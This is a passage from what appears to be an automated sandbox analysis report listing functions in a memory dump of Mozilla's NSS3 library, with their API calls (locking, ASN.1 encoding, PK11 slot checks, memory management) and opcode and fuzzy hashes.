PR_ExitMonitor.NSS3(?), ref: 6C641F37
PR_Unlock.NSS3(?), ref: 6C641F44

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 41a93146e5a4eaf4c283fa482b4bc4e3a1a652b41f50a3a3e4e9ededa5dd1f05
Instruction ID: 6efd1c9b6ae5eaf33e84c9c18ce2628b1076f8a2f6a33ba84a437159ba0ad428
Opcode Fuzzy Hash: 41a93146e5a4eaf4c283fa482b4bc4e3a1a652b41f50a3a3e4e9ededa5dd1f05
Instruction Fuzzy Hash: 88718EB59043019FD700CF24D840A9AB7F5FF89358F14C929E89993B21E731F969CB9A

Function 6C6CDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6CDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C6CDE77

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 627e00dbf4bdc884e51eb74d49d9ab546c124a6a25b37e0a04b922db06d8fae4
Instruction ID: fa6bc81a54b1cdbdc51d65540e86cf8c585505ce86260fb393dd94ef6240ca12
Opcode Fuzzy Hash: 627e00dbf4bdc884e51eb74d49d9ab546c124a6a25b37e0a04b922db06d8fae4
Instruction Fuzzy Hash: C6717471A40318CFCB10CF9AC5C069AB7B4FF89718F25816ED9686B702DB70A902CF95

Function 6C63DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6C63AB10: DeleteCriticalSection.KERNEL32(D958E852,6C641397,5B5F5EC0,?,?,6C63B1EE,2404110F,?,?), ref: 6C63AB3C
Part of subcall function 6C63AB10: free.MOZGLUE(D958E836,?,6C63B1EE,2404110F,?,?), ref: 6C63AB49
Part of subcall function 6C63AB10: DeleteCriticalSection.KERNEL32(5D5E6C83), ref: 6C63AB5C
Part of subcall function 6C63AB10: free.MOZGLUE(5D5E6C77), ref: 6C63AB63
Part of subcall function 6C63AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C63AB6F
Part of subcall function 6C63AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C63AB76

TlsGetValue.KERNEL32(?,?,6C63B266,6C6415C6,?,?,6C6415C6), ref: 6C63DFDA
EnterCriticalSection.KERNEL32(?,?,?,6C63B266,6C6415C6,?,?,6C6415C6), ref: 6C63DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6C63B266,6C6415C6,?,?,6C6415C6), ref: 6C63E029
PK11_IsLoggedIn.NSS3 ref: 6C63E046

Part of subcall function 6C648F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FAF
Part of subcall function 6C648F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FD1
Part of subcall function 6C648F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FFA
Part of subcall function 6C648F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C649013
Part of subcall function 6C648F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C649042
Part of subcall function 6C648F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C64905A
Part of subcall function 6C648F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C649073
Part of subcall function 6C648F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C649111

PR_Unlock.NSS3(?,?,?,?,6C63B266,6C6415C6,?,?,6C6415C6), ref: 6C63E149

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 414030801e8c0faae4e8c4706d729e9c451dad8f42f9f2ee29afcaf1e9604bba
Instruction ID: cdb7dfcd2ae66ff8f73a41f00ae8a626e9f83e72829ecf9833b42059112fc11b
Opcode Fuzzy Hash: 414030801e8c0faae4e8c4706d729e9c451dad8f42f9f2ee29afcaf1e9604bba
Instruction Fuzzy Hash: 39514770600621CFDB109F29C58476ABBF0FF49309F15A86DD89D8B751D735E884CBAA

Function 6C64BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C64BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C64BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C629F71,?,?,00000000), ref: 6C64BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C64BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C64C014

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: e0c3d83a331428fdec45d69d6355da7e935505fee1cbf0033bea8df770dcd9b8
Instruction ID: 90ab4760270690e6936e27ef7f023681b8dbd3845e4144403af8717b69b70433
Opcode Fuzzy Hash: e0c3d83a331428fdec45d69d6355da7e935505fee1cbf0033bea8df770dcd9b8
Instruction Fuzzy Hash: 4141D571A016059BEB00DE66DC40BAE73B9AF86308F50C138D91DD7B41FB31D905CBA9

Function 6C61EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C61EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C61EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C61EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C61EEEB
free.MOZGLUE(?), ref: 6C61EEF6

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: ead8f599c121bd397c25c73dc1a7c04c56152c2dc76c58900e3a2a4b9d145813
Instruction ID: 80cc1783d6c4c3532fb287662377bed0a894c981d85fcbdf6995554fb686a141
Opcode Fuzzy Hash: ead8f599c121bd397c25c73dc1a7c04c56152c2dc76c58900e3a2a4b9d145813
Instruction Fuzzy Hash: 24312871A082009BEB209F2CCC48BA67BF4FB46317F140538E95A87E51D731E815CBE9

Function 6C631F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C631F1C

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6C749EBC), ref: 6C631FB8
SEC_ASN1EncodeItem_Util.NSS3(6C749E9C,?,?,6C749E9C), ref: 6C63200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C632020

Part of subcall function 6C626A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C62AD50,?,?), ref: 6C626A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C632030

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 6bf059bb21a8dc91f6e1904408ba9a27aaf5194188e60bbe2287a37711f22f96
Instruction ID: 0c5258d7c31313396cc982e075b2e98f92f165859b70fa8cd6a61804b28d6f05
Opcode Fuzzy Hash: 6bf059bb21a8dc91f6e1904408ba9a27aaf5194188e60bbe2287a37711f22f96
Instruction Fuzzy Hash: 2D21FBB5901622BBE7014A15DD40FAA77A8FF4231CF146215E83C96F81E731E528CBED

Function 6C621DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C621E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C621E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C621E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C621E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C621EAD

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: b560244a94bc6a7d2a56f03270d80806fb26e30f87d9e86560a47d92447ff1f8
Instruction ID: e11bc1db8da10a724abb13289133ac42cf92e1187f81a2614f5848e6b4e9a65e
Opcode Fuzzy Hash: b560244a94bc6a7d2a56f03270d80806fb26e30f87d9e86560a47d92447ff1f8
Instruction Fuzzy Hash: D4212872E0C314A7D7008E68DC41B9BB394DB85328F144638EDA957780E735DD0A8BEA

Function 6C731E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C731E5C

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

PR_Lock.NSS3(00000000), ref: 6C731E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C731EAB
PR_GetCurrentThread.NSS3 ref: 6C731ED0
PR_Unlock.NSS3(?), ref: 6C731EE8

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 6e566a16b8bb7d38c3f359a2893c9f77511d8f2803c601a790dc6193e583168d
Instruction ID: 26fc6267e61aec871dbebf8b9e165f34c2da498cacc95034e863d9b17ceffab5
Opcode Fuzzy Hash: 6e566a16b8bb7d38c3f359a2893c9f77511d8f2803c601a790dc6193e583168d
Instruction Fuzzy Hash: F421FF75B89122ABD700CF29DA40A46B3B8FF45719B259229D8198BB82D732F810CBD5

Function 6C67BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C62E708,00000000,00000000,00000004,00000000), ref: 6C67BE6A

Part of subcall function 6C680840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6808B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6304DC,?), ref: 6C67BE7E

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C67BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6304DC,?,?), ref: 6C67BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C67BEEB

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 6ca8c04088e085d73b798b85fb89bfbb6a125b850444f1b886910213e2586a3f
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: C0112F66B04305A7E7208965AC80F6B73AD9BC1B98F040825FE04C2B52E721D8048BFE

Function 6C62AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C623FFF,00000000,?,?,?,?,?,6C621A1C,00000000,00000000), ref: 6C62ADA7

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C623FFF,00000000,?,?,?,?,?,6C621A1C,00000000,00000000), ref: 6C62ADB4

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C623FFF,?,?,?,?,6C623FFF,00000000,?,?,?,?,?,6C621A1C,00000000), ref: 6C62ADD5

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7494B0,?,?,?,?,?,?,?,?,6C623FFF,00000000,?), ref: 6C62ADEC

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C623FFF), ref: 6C62AE3C

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: c3be4660fc774b65ca983d1a34520dd15b90214c3d7a3531306e674ce7c70a5b
Instruction ID: 693575b85f836b54c7f34efb04fcfb07c88b54ea976674490eebd194bb69ec92
Opcode Fuzzy Hash: c3be4660fc774b65ca983d1a34520dd15b90214c3d7a3531306e674ce7c70a5b
Instruction Fuzzy Hash: 81117B71E003081BE7109B649C00BBF73E8DF9224CF00452CEC6596742FB64E95986FE

Function 6C638FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C640710), ref: 6C638FF1
PR_CallOnce.NSS3(6C782158,6C639150,00000000,?,?,?,6C639138,?,6C640710), ref: 6C639029
calloc.MOZGLUE(00000001,00000000,?,?,6C640710), ref: 6C63904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C640710), ref: 6C639066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C640710), ref: 6C639078

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 0052f31a12f04864d8f13ad7f71f24959cb1fee8362949e0a309c738bfa0e1e2
Instruction ID: 878905fd87245350ffbfb222b3d5235dc5b205099e609124fd17a7d6a407f006
Opcode Fuzzy Hash: 0052f31a12f04864d8f13ad7f71f24959cb1fee8362949e0a309c738bfa0e1e2
Instruction Fuzzy Hash: 4311487170613157E72016AD9C04AA632ACEB827ADF502039FD4CC2B41FB1ACD45CBA9

Function 6C64CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C661E10: TlsGetValue.KERNEL32 ref: 6C661E36
Part of subcall function 6C661E10: EnterCriticalSection.KERNEL32(?,?,?,6C63B1EE,2404110F,?,?), ref: 6C661E4B
Part of subcall function 6C661E10: PR_Unlock.NSS3 ref: 6C661E76

free.MOZGLUE(?,6C64D079,00000000,00000001), ref: 6C64CDA5
PK11_FreeSymKey.NSS3(?,6C64D079,00000000,00000001), ref: 6C64CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C64D079,00000000,00000001), ref: 6C64CDCF
DeleteCriticalSection.KERNEL32(?,6C64D079,00000000,00000001), ref: 6C64CDE2
free.MOZGLUE(?), ref: 6C64CDE9

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 057e57f4861b8339e2add28506a887393bb22e417e021d485d66c37a254ef882
Instruction ID: 874269392193576dd4f91edbb821a363fbc37aa2e6fda86ac29ae335e34779e1
Opcode Fuzzy Hash: 057e57f4861b8339e2add28506a887393bb22e417e021d485d66c37a254ef882
Instruction Fuzzy Hash: BD11A3B2B01125BBDF00AF65EC45D96776CBB053597108131E90A87E01E732E428C7E5

Function 6C6B2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6B5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B2CEC

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6B2D02
PR_EnterMonitor.NSS3(?), ref: 6C6B2D1F
PR_ExitMonitor.NSS3(?), ref: 6C6B2D42
PR_ExitMonitor.NSS3(?), ref: 6C6B2D5B

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 2dc181a12940251ff2581a42434f5a286440a5a5c5196a7db19a0a0498bda2d6
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
